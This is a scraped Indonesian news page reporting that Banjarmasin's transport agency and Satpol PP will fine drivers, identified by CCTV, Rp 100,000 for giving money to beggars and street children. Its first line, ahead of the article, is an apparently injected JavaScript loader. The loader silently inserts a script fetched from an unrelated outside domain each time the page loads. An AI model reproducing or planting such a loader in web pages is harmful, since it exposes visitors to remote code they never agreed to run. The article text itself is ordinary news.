(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Setop Beri Uang ke Pengemis Jalanan, Bisa Kena Denda!


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub) Kota Banjarmasin menyosialisasikan imbauan agar masyarakat untuk setop memberi uang kepada Anak Jalanan (Anjal) dan pengemis di persimpangan jalan.

Kepala Dishub Kota Banjarmasin H Slamet Begjo mengatakan, sudah saatnya masyarakat sadar untuk tidak memberikan uang kepada gelandangan, pengemis dan anak jalanan yang ada di seluruh jalan di Kota Seribu Sungai.

Menurutnya memberikan uang pada anjal dan pengemis sama halnya dengan membiarkan mereka terus hidup di jalan.

“Agar pengguna jalanan setop memberikan uang kepada pengemis, gelandangan dan anak jalanan, termasuk dalam bentuk barang apapun itu,” kata Kepala Dishub Kota Banjarmasin, Slamet Begjo, Selasa (7/3/2023).

 

Baca juga: Damkar Banjarbaru Bakal Dapat Tambahan Unit Damkar dan Mobil Rescue

Larangan memberi uang juga tertuang pada Peraturan Daerah (Perda) Kota Banjarmasin Nomor 12 Tahun 2014 tentang Perubahan atas Perda Nomor 20 tahun 2013 tentang penanganan gelandangan dan pengemis hingga tuna susila di Banjarmasin.

Dishub Kota Banjarmasin mendukung Perda yang telah disosialisasikan sejak beberapa hari lalu oleh Satpol PP Kota Banjarmasin.

“Dari sosialiasi Perda itu kemudian oleh jajaran Dishub Banjarmasin turut membantu dengan menyediakan peralatan yang tersambung di CCTV milik Dishub Banjarmasin,” ungkapnya.

Adapun CCTV milik Dishub dipergunakan untuk membantu mengawasi keberadaan para gepeng dan anjal.

Di mana dari rekaman CCTV itu akan terlihat nomor pelat kendaraan bermotor yang ketahuan memberi uang akan dikenakan denda.

“Para pengguna jalan akan dijerat sanksi ialah yang terekam pada kamera pengawas (CCTV) yang dipasang di perempatan jalan, dengan saksi berupa denda Rp 100 ribu,” katanya.

Baca juga: VIRAL. Sejumlah Remaja Kejar-kejaran Sambil Bawa Parang di Banjarmasin, Warganet Geram

Sementara Kepala Satpol PP Banjarmasin Ahmad Muzaiyin mengatakan, sosialisasi dilakukan merujuk atas Perda Nomor 14 Tahun 2015 tentang penyelenggaraan kebersihan, keindahan, ketertiban, dan kesehatan lingkungan.

Muzaiyin memastikan nantinya, sejumlah personel Satpol PP Banjarmasin akan ditempatkan di persimpangan jalan untuk menegakkan perda tersebut, serta mengawasi pengguna jalan.

Merespons aturan Perda tersebut, salah satu warga, Maulida Putri (22), mengaku mendukung penataan segala permasalahan perkotaan.

Namun menurutnya, semestinya pemerintah melakukan kajian mendalam untuk menemukan pola penertiban yang efektif terkait penanganan anak jalanan, pengemis, pengamen, dan gelandangan.

“Perlu upaya serius dan intensif. Jika perlu melibatkan banyak pihak yang selama ini intens melakukan pendampingan terhadap permasalahan anak jalanan, seperti Dinas Sosial mengingat banyak sekali saya temui pengemis di persimpangan jalan itu,” ujarnya.

Maulida berharap seluruh masyarakat juga dapat bekerjasama terlibat mendukung sosialisasi ini bersama instansi terkait lainnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

1 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

1 jam ago

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

1 jam ago

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

3 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

4 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

17 jam ago

This website uses cookies.